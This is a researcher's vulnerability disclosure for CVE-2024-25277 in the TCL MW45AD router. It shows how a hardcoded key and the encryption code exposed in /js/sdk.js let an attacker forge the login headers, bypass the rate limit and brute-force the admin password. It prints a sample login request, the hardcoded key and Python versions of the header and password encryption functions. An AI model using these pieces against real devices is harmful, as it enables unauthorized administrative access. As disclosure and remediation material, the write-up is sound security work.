Bypass rate limiting in TCL MW45AD to achieve  privileges escalation | CVE-2024-25277

Bypass rate limiting in TCL MW45AD to achieve privileges escalation | CVE-2024-25277

Intro

A strory of CVE-2024-25277

There is a chain of designing flaws in the source code that result in bypass rate limiting to achieve privileges escalation via brute-forcing login endpoint. First things first, let's understand the flaws in the source code ( version MW45A_PT_02.00_02 )

The design

By design, when try to login on admin portal of the device (TCL MW45AD), the device allows you to try only with five attempts (this is rate limiting). Login request looks like this:

POST /jrd/webapi?api=Login HTTP/1.1
Host: 192.168.1.1
User-Agent: RUHEZA-NS
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
_TclRequestVerificationToken: 34lIm4Cq9nLCL243POzzCHW1RHc4mhDsxwYTUQJiWIe+xRkpQQwQd3Ymcl2Gv811f95K5sb1nDcJkGZOBOKDrSF/Q0lPAVfr/YTIaTzO8mE=
_TclRequestVerificationKey: KSDHSDFOGQ5WERYTUIQWERTYUISDFG1HJZXCVCXBN2GDSMNDHKVKFsVBNf
X-Requested-With: XMLHttpRequest
Content-Length: 126
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/index.html
Cookie: loginToken=1D4B9765B16C3A64AD97489B1610498B34lIm4Cq9nLCL243POzzCHW1RHc4mhDsxwYTUQJiWIe%2BxRkpQQwQd3Ymcl2Gv811f95K5sb1nDcJkGZOBOKDrSF%2FQ0lPAVfr%2FYTIaTzO8mE%3D

{"jsonrpc":"2.0","method":"Login","params":{"UserName":"dc13ibej?7","Password":"aab1202438bfa16e5a5341eb39828aad"},"id":"1.1"

On the request above, there are three headers that check the validity of the login request which are _TclRequestVerificationToken , _TclRequestVerificationKey and loginToken

At the moment we don't know how these headers are generated or the algorithm behind. But when we access the endpoint /js/sdk.js we see the first security issue - leaking hardcoded _TclRequestVerificationKey

At the same endpoint we can see the second security issue - leaking encryption algorithms used to generate the remaining headers:

From the code above, _TclRequestVerificationToken = encrypt(token) looking closely you'll notice token = "74623918" which means _TclRequestVerificationToken = encrypt("74623918") Next task if to find and understand how encrypt() works.

To poke around the code i decided to rewrite the function encrypt() in simple Python:

def encrypt(word):
    phrase = "e5dl12XYVggihggafXWf0f2YSf2Xngd1"
    a = []
    for idx, char in enumerate(word):
        r = ord(char)
        positioncode = ord(phrase[idx % len(phrase)])
        a.append((240 & positioncode) | ((15 & r) ^ (15 & positioncode)))
        a.append((240 & positioncode) | ((r >> 4) ^ (15 & positioncode)))
    enc_word = "".join(chr(char) for char in a)
    return enc_word

Now we can generate _TclRequestVerificationToken by calling our function above encrypt("74623918") . Let's explore the last header loginToken although you can only use the previous two headers to send request successfully without this header:

But lets check it anyway. Again we check in the same codebase to find the algorithm used to generate it:

We can understand the algorithm above in this simple way:

 loginToken = "hardcoded token" + encrypt_c(token + param0 + param1)

And our final puzzle is the function encrypt_c() which is also included in the same codebase in the endpoint /js/sdk.js :

Now that we have all pieces that we need such that we can generate all the headers (out-of-context) simply with an automated script to bypass rate limiting and keep bruteforcing the password until we successfully login and access the admin dashboard!

The function encrypt() which is used in many other functions within the code is using a key which is hard-coded in the source code, var key = "e5dl12XYVggihggafXWf0f2YSf2Xngd1" to perform its encryption. This makes the encryption weak, easy to read and decrypt.

Password encryption uses the function encrypt_md(). Essentially, this encryption is a chain of other "weak" encryption functions:

encrypt_md() = encrypt_u(encrypt()) = md5(encrypt())

So once you decrypt md5 algorithm used above, you remain with the same encryption, that is encrypt() . Here's the simplified version:

import hashlib
def md5_hash(word):
    phrase = "e5dl12XYVggihggafXWf0f2YSf2Xngd1"
    a = []
    for idx, char in enumerate(word):
        r = ord(char)
        positioncode = ord(phrase[idx % len(phrase)])
        a.append((240 & positioncode) | ((15 & r) ^ (15 & positioncode)))
        a.append((240 & positioncode) | ((r >> 4) ^ (15 & positioncode)))
    enc_word = "".join(chr(char) for char in a)
    md5 = hashlib.md5()
    md5.update(enc_word.encode('utf-8'))
    hashed_text = md5.hexdigest()

    return hashed_text

Final thought

I reported this issue and received a CVE-25277 with a bounty …. !

To avoid such flaws which introduce vulnerabilities we should:

  • Have a secure software design flow

  • Avoid hard-coding keys, tokens or passwords

  • Using strong encryption algorithms

Reference